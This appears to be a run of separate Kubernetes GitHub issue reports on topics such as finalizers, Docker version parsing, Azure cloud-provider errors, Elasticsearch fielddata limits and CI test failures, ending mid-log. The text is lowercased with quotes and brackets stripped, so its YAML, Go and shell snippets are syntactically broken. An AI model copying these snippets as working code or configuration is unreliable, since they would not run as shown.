kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t07:30:54z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r minikube version: v0.15.0\r -   os    e.g. from /etc/os-release :\r macos 10.12.3\r -   kernel    e.g.  uname -a  :\r darwin cli-1831 16.4.0 darwin kernel version 16.4.0: thu dec 22 22:53:21 pst 2016; root:xnu-3789.41.3~3/release_x86_64 x86_64\r \r   what happened  :\r instance of a tpr is deleted even though it has a non-empty \ finalizers\  field.\r finalizers appear to work for tprs themselves.\r \r   what you expected to happen  :\r object is not deleted but  deletiontimestamp  is set on it.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. create a tpr\r 2. create an instance of it with non-empty \ finalizers\  field  might be hard to do via kubectl because of  40119 . use api directly.\r 3. delete the instance.\r \r   anything else do we need to know  :\r you may install minikube and clone https://github.com/atlassian/smith finalizers branch. then run \ make minikube-test\  to create a \ template\  object that will have a finalizer set.\r \r    \r $ kubectl get templates template1 -o yaml\r apiversion: smith.atlassian.com/v1\r kind: template\r metadata:\r   creationtimestamp: 2017-01-30t22:41:22z\r   finalizers:\r   - smith.atlassian.com/cleanup\r   name: template1\r   namespace: default\r   resourceversion: \ 426352\ \r   selflink: /apis/smith.atlassian.com/v1/namespaces/default/templates/template1\r   uid: 3962e6ac-e73d-11e6-baf3-ee8d75af8f6e\r spec:\r   ...\r status:\r   ...\r $ kubectl delete templates template1\r template \ template1\  deleted\r $ kubectl get templates template1 -o yaml\r error from server  notfound : thirdpartyresourcedatas.extensions \ template1\  not found\r

to reproduce error:\r install latest docker release..\r \r first terminal:\r \r sudo path=$path kubernetes_provider=local experimental_cri=true container_runtime=docker hack/local-up-cluster.sh\r \r second terminal:\r cat /tmp/kubelet.log|grep illegal\r \r e0303 10:36:09.811626    1592 container_manager_linux.go:90  unable to parse docker version \ 17.03.0-ce\ : illegal zero-prefixed version component \ 03\  in \ 17.03.0-ce\ \r \r note docker version\r client:\r  version:      17.03.0-ce\r  api version:  1.26\r  go version:   go1.7.5\r  git commit:   60ccb22\r  built:        thu feb 23 11:02:43 2017\r  os/arch:      linux/amd64\r \r server:\r  version:      17.03.0-ce\r  api version:  1.26  minimum version 1.12 \r  go version:   go1.7.5\r  git commit:   60ccb22\r  built:        thu feb 23 11:02:43 2017\r  os/arch:      linux/amd64\r  experimental: false\r \r \r   kubernetes version  :\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.746+1d97472361e611-dirty\ , gitcommit:\ 1d97472361e61106a1da1ce33da97f243e4d0441\ , gittreestate:\ dirty\ , builddate:\ 2017-03-02t22:50:43z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r - local, vm developer environment:\r - \ ubuntu\  \ 16.04.2 lts  xenial xerus \ \r - linux mike-virtualbox 4.4.0-65-generic  86-ubuntu smp thu feb 23 17:49:58 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r so the code is correctly reporting a semantic versioning error based on the rule that none of the segments should have a leading zero. but we don't own docker's versioning. so... should we call parsegeneric vs parsesemantic  in pkg/util/version/version.go  to disable semver testing, or do we pr docker and limit the number of versions we're compatible with based on this test, or do we change this to a warning or info level information in the parse routine? seems like overkill to error on a leading zero.

currently apiserver exposes metrics only for request counts and request latencies  labeled by verb, resource, etc.. .\r however we need more information about why the latencies might be high/low and one really important metric for it is the size of response body  specifically for get and list calls .\r this will also help us understand https://github.com/kubernetes/kubernetes/issues/44701 better and is relevant to https://github.com/kubernetes/kubernetes/issues/47419 issuecomment-308114098\r \r cc @kubernetes/sig-api-machinery-feature-requests @kubernetes/sig-scalability-misc @gmarek @wojtek-t

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   @kubernetes/sig-cli- \r \r   what happened  :\r on our gke cluster, running  kubectl get jobs --all-namespaces  fails with:\r  error from server: no kind \ job\  is registered for version \ extensions/v1beta1\  \r trying to delete any job in the namespace that causes the issue  even though no pods are running  fails with the same message.\r \r   what you expected to happen  :\r a list of jobs was expected, or an empty list.\r alternatively one should at least be able to delete the job, as the extensions/v1beta1 was replaced by batch/v1  https://kubernetes.io/docs/api-reference/extensions/v1beta1/definitions/ \r \r   how to reproduce it  as minimally and precisely as possible   :\r i am unfortunately uncertain as exactly what happened. i guess the job with  extensions/v1beta1  was created and then it did not get deleted properly  or maybe did not get deleted at all? \r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r  kubectl api-versions :\r  apps/v1beta1\r authorization.k8s.io/v1beta1\r autoscaling/v1\r batch/v1\r certificates.k8s.io/v1beta1\r extensions/v1beta1\r policy/v1beta1\r rbac.authorization.k8s.io/v1beta1\r storage.k8s.io/v1\r storage.k8s.io/v1beta1\r v1 \r \r - cloud provider or hardware configuration  : \r gke hosted k8s\r \r  uname -a \r  linux gke-cluster-1-n1-standard-16-2-2a6f2afb-kqbj 4.4.35+  1 smp wed apr 5 13:00:57 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/lin \r \r \r any help is greatly appreciated, thank you!\r jivko vantchev

https://github.com/kubernetes/kubernetes/blob/64fde98206fcb764958d62a1a4a03c0420d72b45/pkg/kubelet/cm/device_plugin_handler.go l253-l269\r \r it should write to a temporary file and rename the file to ensure atomic writes. it should also fsync the file before closing to avoid data loss on machine reboots. \r you can check the examples in the kubelet package such as  pkg/kubelet/kubeletconfig  or  pkg/kubelet/dockershim/docker_checkpoint.go \r \r fyi, i also have a wip pr   54085  to extract the common logic into a utility package to increase code reusability.\r \r /cc @jiayingz @vishh @mindprince

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r kubenretes has many priorities, such as least request, most request etc, but do not have predicates based on disk io, it is better to have such priorities to enable schedule based on disk io.\r \r @kubernetes/sig-scheduling-feature-requests \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  @kubernetes/sig-scalability-misc \r \r first suggested in https://github.com/kubernetes/contrib/issues/762\r reminded by @foxish in  https://github.com/kubernetes/contrib/pull/2825 issuecomment-356925454\r \r todo:\r -     find a new home\r -     move code and related issues  e.g.  483 \r -     ...\r -     profit!

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r  \r \r \r   what happened  :\r systemctl restart kubelet, keep trying \ kubectl get node\ , node will be notready and then endpoints on that node will be not ready\r   what you expected to happen  :\r node stays in ready status during kubelet restart\r   how to reproduce it  as minimally and precisely as possible   :\r just restart kubelet and then keep trying \ kubectl get node\ \r \r   anything else we need to know?  :\r i went through code and find cause as below：\r in pkg/kubelet/kubelet_node_status.go, function setnodereadycondition, it checks kl.runtimestate.runtimeerrors   and kl.runtimestate.networkerrors  , kubelet will reports notready events if any error here.\r however, in runtimestate.runtimeerrors  , it check s.lastbaseruntimesync as below:\r  if !s.lastbaseruntimesync.add s.baseruntimesyncthreshold .after time.now    {\r \t\tret = append ret, \ container runtime is down\  \r \t}\r but during kubelet initialization,  s.lastbaseruntimesync is first set to clock.realclock{}, which is 0001-01-01 00:00:00 by default, so there will be definitely runtimeerror here, util updateruntimeup in kubelet.go sets the s.lastbaseruntimesync to kl.clock.now  \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ 1.5.3\ , gitcommit:\ 95211f016be1e91dc9f67b57e0c1ade9d16268a1\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t20:08:16z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ 1.5.3\ , gitcommit:\ 95211f016be1e91dc9f67b57e0c1ade9d16268a1\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t20:05:58z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r centos linux release 7.2.1511  core  \r - kernel  e.g.  uname -a  :\r linux 3.10.0-327.el7.x86_64\r - install tools:\r kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r \r currently xxxoptions does not get bound as default value for some flags, which may bring in potential risks/bugs for some commands.\r \r such as  kubectl attach pod1 ,\r https://github.com/kubernetes/kubernetes/blob/af58729c866abc6ebd08edf9e4c1e9bb5bbdc418/pkg/kubectl/cmd/attach.go l86\r \r here the default value for flag  container  will always be an empty string, regardless of the actual value of  options.containername .\r \r already discussed this potential bug with @deads2k in slack.\r \r this issue is used to track those cleanup items.\r \r -  x  flag value bindings for kubectl attach/convert/delete/drain/edit/exec commands   60357  \r -  x  flag value bindings for kubectl apply commands   60360  \r -  x  flag value bindings for kubectl label/patch/taint/top commands   60361  \r -  x  flag value bindings for kubectl create/get/set commands   60363 \r -  x  kubectl: flag value bindings for common utils   60364  \r

is this a bug report or feature request?  :\r \r  @kubernetes/sig-azure-bugs\r \r   what happened  :\r the azure cloud provider code used by  kube-controller-manager  appears to fail to reach out to azure on all requests, starting in v1.11.0. error: \r > status=404 code=\\\ resourcegroupnotfound\\\  message=\\\ resource group 'kube59' could not be found.\\\ \ \r \r log snippet:\r    \r i0629 19:53:06.364743       1 azure_wrap.go:263  route table \ routes-kube59\  not found with message: \ network.routetablesclient get: failure responding to request: statuscode=404 -- original error: autorest/azure: service returned an error. status=404 code=\\\ resourcegroupnotfound\\\  message=\\\ resource group 'kube59' could not be found.\\\ \ \r i0629 19:53:06.364785       1 azure_routes.go:84  createroutetableifnotexists: creating routetable. routetablename=\ routes-kube59\ \r i0629 19:53:06.392953       1 azure_wrap.go:263  route table \ routes-kube59\  not found with message: \ network.routetablesclient get: failure responding to request: statuscode=404 -- original error: autorest/azure: service returned an error. status=404 code=\\\ resourcegroupnotfound\\\  message=\\\ resource group 'kube59' could not be found.\\\ \ \r i0629 19:53:06.393065       1 azure_routes.go:84  createroutetableifnotexists: creating routetable. routetablename=\ routes-kube59\ \r    \r \r cloud provider config:\r    \r ---\r cloud: azurepubliccloud\r subscriptionid: 84b...\r resourcegroup: kube59\r location: eastus2\r subnetname: subnet-agentkube59\r securitygroupname: nsg-edge-kube59\r vnetname: vnet-kube59\r vnetresourcegroup: kube59\r vmtype: vmss\r routetablename: routes-kube59\r primaryscalesetname: vmss-agent-worker-kube59\r cloudproviderbackoff: false\r cloudproviderbackoffretries: 0\r cloudproviderbackoffexponent: 0\r cloudproviderbackoffduration: 0\r cloudproviderbackoffjitter: 0\r cloudproviderratelimit: false\r cloudproviderratelimitqps: 0\r cloudproviderratelimitbucket: 0\r usemanagedidentityextension: true\r useinstancemetadata: true\r    \r \r   what you expected to happen  :\r kube-controller-manager would properly talk to azure arm api to create/configure resources such as lb, routes, nsg rules, etc.\r \r   how to reproduce it  as minimally and precisely as possible   :\r manually launch a k8s cluster in azure, with msi enabled.  not aks or acs since they do not yet support v1.11.0 \r \r   anything else we need to know?  :\r i do not believe this is msi related. i can confirm through using az cli that the token is properly created:\r    \r $ az role assignment list-changelogs\r ...\r {\r     \ action\ : \ granted\ ,\r     \ caller\ : \ <email>\ ,\r     \ principalid\ : \ d0...\ ,\r     \ principalname\ : \ 5947b...\ ,\r     \ roledefinitionid\ : \ b24988...\ ,\r     \ rolename\ : \ contributor\ ,\r     \ scope\ : \ /subscriptions/84b.../resourcegroups/kube59\ ,\r     \ scopename\ : \ kube59\ ,\r     \ scopetype\ : \ resource group\ ,\r     \ timestamp\ : \ 2018-06-29t18:25:26.767813+00:00\ \r   }\r  \r    \r \r interesting find: in proving out 1.11, this issue initially appeared in the kube-apiserver, with the same error,  resourcegroupnotfound , which caused it to fail at start time. however, once the cloud config was updated to reflect  useinstancemetadata: true , apiserver then went healthy without further issues. in investigating the next discovered issue  kube-controller-manager not deploying cloud resources , neither setting  useinstancemetadata  to true or false had an effect.\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.0\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : coreos 1745.7.0\r - kernel  e.g.  uname -a  :  linux vmss-master-kube59000001 4.14.48-coreos-r2  1 smp thu jun 14 08:23:03 utc 2018 x86_64 intel r  xeon r  cpu e5-2673 v4 @ 2.30ghz genuineintel gnu/linux \r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i have ran kubelet with parameter:\r     \r --system-reserved=cpu=2.0,memory=1525mi\r    \r \r cfs quota haven't changed:\r    \r  cat /sys/fs/cgroup/cpu/kubepods/cpu.cfs_quota_us\r -1\r    \r   what you expected to happen  :\r a value  kubepods/cpu.cfs_quota_us  is set to not -1\r   how to reproduce it  as minimally and precisely as possible   :\r run kubelet with parameter above\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.12.3\r - cloud provider or hardware configuration:\r virualbox\r - os  e.g. from /etc/os-release :\r 16.04.4 lts  xenial xerus \r - kernel  e.g.  uname -a  :\r linux p20b-vr3-r1-k8s-n1 4.14.35.4  4 smp tue dec 11 15:03:35 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

it's extremely difficult to reason about and got copied and pasted a few times. it's causing bugs with incorrect expectation counting.

when i do aggs on container_name, i will get the following errors:        elasticsearch info: 2016-05-19t01:50:57z   adding connection to https://ginger-seer-3740-cluster.caicloudapp.com/api/v1/proxy/namespaces/kube-system/services/elasticsearch-logging  elasticsearch debug: 2016-05-19t01:50:57z   starting request { method: 'post',     path: '/_search',     body:      { query: { filtered:  object  },        aggs: { group_by_containername:  object  },        sort: { container_name:  object  } },     query: { size: 20 } }   elasticsearch trace: 2016-05-19t01:51:20z   -> post https://ginger-seer-3740-cluster.caicloudapp.com:443/api/v1/proxy/namespaces/kube-system/services/elasticsearch-logging/_search?size=20   {     \ query\ : {       \ filtered\ : {         \ query\ : {           \ bool\ : {             \ should\ :   ,             \ must_not\ :   ,             \ must\ :                 {                 \ wildcard\ : {                   \ namespace_name\ : \ monitor\                  }               },               {                 \ wildcard\ : {                   \ pod_name\ : \ monitor-3524605461-lttdi\                  }               }                         }         },         \ filter\ : {           \ range\ : {             \ @timestamp\ : {               \ gte\ : \ 2016-05-15\ ,               \ lte\ : \ 2016-05-15\              }           }         }       }     },     \ aggs\ : {       \ group_by_containername\ : {         \ terms\ : {           \ field\ : \ container_name\          }       }     },     \ sort\ : {       \ container_name\ : {         \ order\ : \ asc\        }     }   }   <- 200   {     \ took\ : 22603,     \ timed_out\ : false,     \ _shards\ : {       \ total\ : 35,       \ successful\ : 30,       \ failed\ : 1,       \ failures\ :           {           \ index\ : \ logstash-2016.05.18\ ,           \ shard\ : 4,           \ status\ : 500,           \ reason\ : \ remotetransportexception  curtis connors  inet /172.16.56.3:9300   indices:data/read/search phase/query   ; nested: elasticsearchexception org.elasticsearch.common.breaker.circuitbreakingexception:  fielddata  data too large, data for  kubernetes.container_name  would be larger than limit of  633785548/604.4mb  ; nested: uncheckedexecutionexception org.elasticsearch.common.breaker.circuitbreakingexception:  fielddata  data too large, data for  kubernetes.container_name  would be larger than limit of  633785548/604.4mb  ; nested: circuitbreakingexception  fielddata  data too large, data for  kubernetes.container_name  would be larger than limit of  633785548/604.4mb  ; \          }             },     \ hits\ : {       \ total\ : 0,       \ max_score\ : null,       \ hits\ :        },     \ aggregations\ : {       \ group_by_containername\ : {         \ doc_count_error_upper_bound\ : 0,         \ sum_other_doc_count\ : 0,         \ buckets\ :          }     }   }      then i get the fielddata from indices stats:        \ logstash-2016.05.15\ :{   \ primaries\ :{     \ fielddata\ :{       \ memory_size_in_bytes\ :5115824,       \ evictions\ :0,       \ fields\ :{         \ kubernetes.namespace_name\ :{\ memory_size_in_bytes\ :170256},         \ kubernetes.container_name\ :{\ memory_size_in_bytes\ :1099640},         \ kubernetes.pod_name\ :{\ memory_size_in_bytes\ :1105424},         \ @timestamp\ :{\ memory_size_in_bytes\ :2740504}       }     }   },   \ total\ :{     \ fielddata\ :{       \ memory_size_in_bytes\ :10154292,       \ evictions\ :0,       \ fields\ :{         \ kubernetes.namespace_name\ :{\ memory_size_in_bytes\ :252316},         \ kubernetes.container_name\ :{\ memory_size_in_bytes\ :2202608},         \ kubernetes.pod_name\ :{\ memory_size_in_bytes\ :2215040},         \ @timestamp\ :{\ memory_size_in_bytes\ :5484328}       }     }   } }      actually,   evictions is 0  .   and then, i get some useful informations from elasticsearch home page:        setting                              description   indices.fielddata.cache.size         the max size of the field data cache, eg 30% of node heap space, or an absolute value, eg 12gb. defaults to unbounded.   indices.breaker.total.limit          starting limit for overall parent breaker, defaults to 70% of jvm heap indices.breaker.fielddata.limit      limit for fielddata breaker, defaults to 60% of jvm heap indices.breaker.request.limit        limit for request breaker, defaults to 40% of jvm heap      the indices.fielddata.cache.size controls how much heap space is allocated to fielddata. as you are issuing queries, aggregations on analyzed strings will load into fielddata if the field wasn’t previously loaded. if the resulting fielddata size would exceed the specified size, other values will be evicted in order to make space.     by default, this setting is unbounded—elasticsearch will never evict data from fielddata.     that's the point, the too large data exception is due to the default value of fielddata.cache unbounded resulting in.   while you can still run queries that access fielddata from the old indices, you can’t load any new values. instead, we should evict old values to make space for the new values.   to prevent this scenario, place an upper limit on the fielddata by adding this setting to the config/elasticsearch.yml file:         indices.fielddata.cache.size:  20%      references:  https://www.elastic.co/guide/en/elasticsearch/guide/current/_limiting_memory_usage.html  https://www.elastic.co/guide/en/elasticsearch/guide/current/_limiting_memory_usage.html   https://www.elastic.co/guide/en/elasticsearch/guide/1.x/_limiting_memory_usage.html  https://www.elastic.co/guide/en/elasticsearch/guide/1.x/_limiting_memory_usage.html

this has been available since docker 1.10. it doesn't really allow multi-tenancy yet, but it does provide greater host isolation.

in https://github.com/kubernetes/kubernetes/issues/37447 @yujuhong reported: \r \r > kubelet log is full of errors from the volume manager complaining about non-existent secrets:\r >    \r > nov 29 17:25:34 gke-test-cluster-1-default-pool-44d8ae2f-kpn9 kubelet 2228 : i1129 17:25:34.230648    2228 reconciler.go:188  unmountvolume operation started for volume \ kubernetes.io/secret/fee1aef7-b1ab-11e6-848f-42010a840181-default-token-r4hlp\   spec.name: \ default-token-r4hlp\   from pod \ fee1aef7-b1ab-11e6-848f-42010a840181\   uid: \ fee1aef7-b1ab-11e6-848f-42010a840181\  .\r > nov 29 17:25:34 gke-test-cluster-1-default-pool-44d8ae2f-kpn9 kubelet 2228 : e1129 17:25:34.232112    2228 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/secret/fee1aef7-b1ab-11e6-848f-42010a840181-default-token-r4hlp\\\   \\\ fee1aef7-b1ab-11e6-848f-42010a840181\\\  \  failed. no retries permitted until 2016-11-29 17:27:34.232087714 +0000 utc  durationbeforeretry 2m0s . error: unmountvolume.teardown failed for volume \ kubernetes.io/secret/fee1aef7-b1ab-11e6-848f-42010a840181-default-token-r4hlp\   volume.spec.name: \ default-token-r4hlp\   pod \ fee1aef7-b1ab-11e6-848f-42010a840181\   uid: \ fee1aef7-b1ab-11e6-848f-42010a840181\   with: islikelynotmountpoint \ /var/lib/kubelet/pods/fee1aef7-b1ab-11e6-848f-42010a840181/volumes/kubernetes.io~secret/default-token-r4hlp\  : stat /var/lib/kubelet/pods/fee1aef7-b1ab-11e6-848f-42010a840181/volumes/kubernetes.io~secret/default-token-r4hlp: no such file or directory\r >    \r > /cc @kubernetes/sig-storage @saad-ali @jingxu97 to see what could've caused this.\r \r this happened after kubelet restart.\r \r we need to understand why this happens, if it is expected behavior or a bug.\r \r cc @kubernetes/sig-storage

v1.6 blocking \r \r a manual upgrade test to verify hpa is required.\r \r   horizontal pod autoscaler instructions  \r 1. use the hpa demo: https://kubernetes.io/docs/user-guide/horizontal-pod-autoscaling/walkthrough/\r \r 2. create a job:\r    \r appendix: job\r apiversion: batch/v1\r kind: job\r metadata:\r   name: long\r spec:\r   template:\r     metadata:\r       name: long\r     spec:\r       containers:\r       - name: c\r         image: busybox\r         command:  \ /bin/sh\ ,  \ -c\ , \ sleep 1800\  \r       restartpolicy: never\r   parallelism: 3\r   completions: 3\r    \r \r 3. verify that job finishes successfully, upgrading master does not affect pods, pods get re-created after node upgrade, “kubectl get jobs” shows successful == desired\r \r 4. various events get generated automatically, so just make sure you see the same events after the upgrade as before  plus whatever new ones should have been generated \r \r cc: @pwittrock

from https://storage.googleapis.com/k8s-metrics/flakes-latest.json, pull-kubernetes-node-e2e failed more often than before, especially summary api tests:\r \r   \ pr:pull-kubernetes-node-e2e\ : {\r     \ consistency\ : 0.972,\r     \ flakes\ : 35,\r     \ flakiest\ : {\r       \  k8s.io  summary api when querying /stats/summary should report resource usage through the stats api\ : 26,\r       \  k8s.io  security context when creating a pod in the host network namespace should listen on same port in the host network containers\ : 7\r     }\r \r we recently updated summary api tests. @dashpole can you take a look? this one potentially slow down the submit queue. \r \r cc/ @kubernetes/kubernetes-release-managers @ericchiang, the test lead of 1.7 release team @kubernetes/sig-node-bugs \r \r

 \r   what happened  : a pod with an empty namespace field was mutated by a pod preset in a different namespace.\r \r   what you expected to happen  : pod presets should only operate on pods in the same namespace.\r \r   how to reproduce it  as minimally and precisely as possible   : submit a pod with an empty namespace field and observe pod preset mutation.\r \r   anything else we need to know?  : this is a fix for an alpha non-default feature.\r \r fix submitted in  49120

the  reaper code  https://github.com/kubernetes/kubernetes/blob/4361b4d9be7aca603ac48b5483b6bb427bcc1679/pkg/kubectl/stop.go l320-l342  currently does not taking into account, the  terminationgraceperiod  associated with each pod of the statefulset.\r  kubectl delete  can take more time than allowed for by the default timeout because it waits for ordered termination of each pod, before deleting the statefulset resource.\r \r see related bug: https://github.com/kubernetes/kubernetes/pull/46784\r \r cc @janetkuo @kow3ns @mengqiy @kubernetes/sig-cli-bugs

is this a bug report or feature request?  : \r \r   \r   what happened  : \r \r using statefulsets  and hence a headless service  to run mongodb. the initial setup comes up correctly. when a pod is deleted, on gke the new pod restarted will get a new ip address that has to be updated in kube-dns. there seems to be a race condition where the following scenario can happen:\r - the pod process starts\r - the new ip is not yet updated in kube-dns for that pod, which means that the hostname points to the old ip.\r \r in that case, the process will show an error like below  or similar :\r    \r getaddrinfo \ mongo-0.mongo\   failed: name or service not known\r    \r \r   what you expected to happen  :\r \r the pod should get a new ip assigned and kube-dns should be updated before the process starts, so that any reference to its hostname can resolve to the correct ip address.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   using headless service  https://github.com/sisteming/mongo-kube/blob/master/demo3/demo3-headlessservice.yaml \r   using statefulset  https://github.com/sisteming/mongo-kube/blob/master/demo3/demo3-statefulset-2703.yaml \r   deploy the statefulset following  mongo-kube demo3  https://github.com/sisteming/mongo-kube/tree/master/demo3 :\r   delete pod mongo-0 so that it is recreatew, using a new ip\r    \r echo \ -----------\ \r gdate +'%d/%m/%y %h:%m:%s:%3n'\r echo \ -----------\ \r kubectl get pods -o wide\r kubectl delete pod mongo-0 --now\r echo \ ...........\ \r sleep 15\r echo \     \ \r gdate +'%d/%m/%y %h:%m:%s:%3n'\r echo \     \ \r kubectl get pods -o wide\r echo \     \ \r gdate +'%d/%m/%y %h:%m:%s:%3n'\r echo \     \ \r  kubectl describe pod mongo-0\r kubectl describe service mongo\r echo \     \ \r gdate +'%d/%m/%y %h:%m:%s:%3n'\r echo \     \ \r kubectl run mm --image=busybox -i -t --rm --restart=onfailure -- nslookup mongo-0.mongo \r echo \     \ \r gdate +'%d/%m/%y %h:%m:%s:%3n'\r echo \     \ \r kubectl exec -it mongo-1 ping mongo-0.mongo\r echo \     \ \r gdate +'%d/%m/%y %h:%m:%s:%3n'\r echo \     \ \r kubectl exec -it mongo-0 more /data/db/mongod.log \r echo \ -----------\ \r    \r   check the logs in mongo-0: this is not deterministic but it is very likely that the logs will show an error like  no route to host  or  getaddrinfo \ mongo-0.mongo\   failed: name or service not known .\r \r   anything else we need to know?  :\r \r i have been reviewing quite a few issues and posts on this type of behaviour. from now, my hypothesis about possible ways to solve this are:\r - avoid using a new ip address.\r - reduce time from dns.\r - add a delay when starting the container process.\r - add readinessprobe and livenessprobe.\r \r i believe this might be just an implementation issue or a bug specific to stateful set for specific applications. this seems to occur on google container engine  where a new ip address is used for the pod restarted  and not on minikube  where ip addresses are re-used for the pod being restarted .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.6-gke.1\ , gitcommit:\ 407dbfe965f3de06b332cc22d2eb1ca07fb4d3fb\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t21:21:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r google container engine only  in minikube the ip address is re-used so this issue does not occur .\r \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:

https://storage.googleapis.com/k8s-gubernator/triage/index.html?ci=0&pr=1&text=node_lease.go\r \r    \r test/e2e/common/node_lease.go:84\r timed out after 300.977s.\r expected\r     < errors.errorstring | 0xc00050f0c0>: {\r         s: \ node status report period is shorter than lease duration\ ,\r     }\r to be nil\r test/e2e/common/node_lease.go:118\r    \r \r /assign\r /milestone v1.14

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-e2e-kubeadm-kinder-master-on-stable\r \r   which test s  are failing  :\r task-04-join\r \r   since when has it been failing  :\r failing since 5/30 at 6:18 pdt.\r see  k/k diff  https://github.com/kubernetes/kubernetes/compare/master...release-1.15 \r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-informing kubeadm-kinder-master-on-stable\r \r   reason for failure  :\r the first error occured at task 3:\r    \r task-03-init\r kinder do kubeadm-init --name=kinder-xony --automatic-copy-certs\r  kinder-xony-control-plane  starting kubernetes using kubeadm init  this may take a minute  ☸\r ==> kubeadm init 🚀\r kubeadm init --ignore-preflight-errors=all --config=/kind/kubeadm.conf --upload-certs --certificate-key=0123456789012345678901234567890123456789012345678901234567890123\r w0531 07:30:26.778804 621 strict.go:54  error unmarshaling configuration schema.groupversionkind{group:\ kubeproxy.config.k8s.io\ , version:\ v1alpha1\ , kind:\ kubeproxyconfiguration\ }: error unmarshaling json: while decoding json: json: unknown field \ metadata\ \r w0531 07:30:26.780547 621 strict.go:54  error unmarshaling configuration schema.groupversionkind{group:\ kubeadm.k8s.io\ , version:\ v1beta1\ , kind:\ clusterconfiguration\ }: error unmarshaling json: while decoding json: json: unknown field \ metadata\ \r w0531 07:30:26.781361 621 strict.go:54  error unmarshaling configuration schema.groupversionkind{group:\ kubeadm.k8s.io\ , version:\ v1beta1\ , kind:\ initconfiguration\ }: error unmarshaling json: while decoding json: json: unknown field \ metadata\ \r w0531 07:30:26.781866 621 strict.go:54  error unmarshaling configuration schema.groupversionkind{group:\ kubeadm.k8s.io\ , version:\ v1beta1\ , 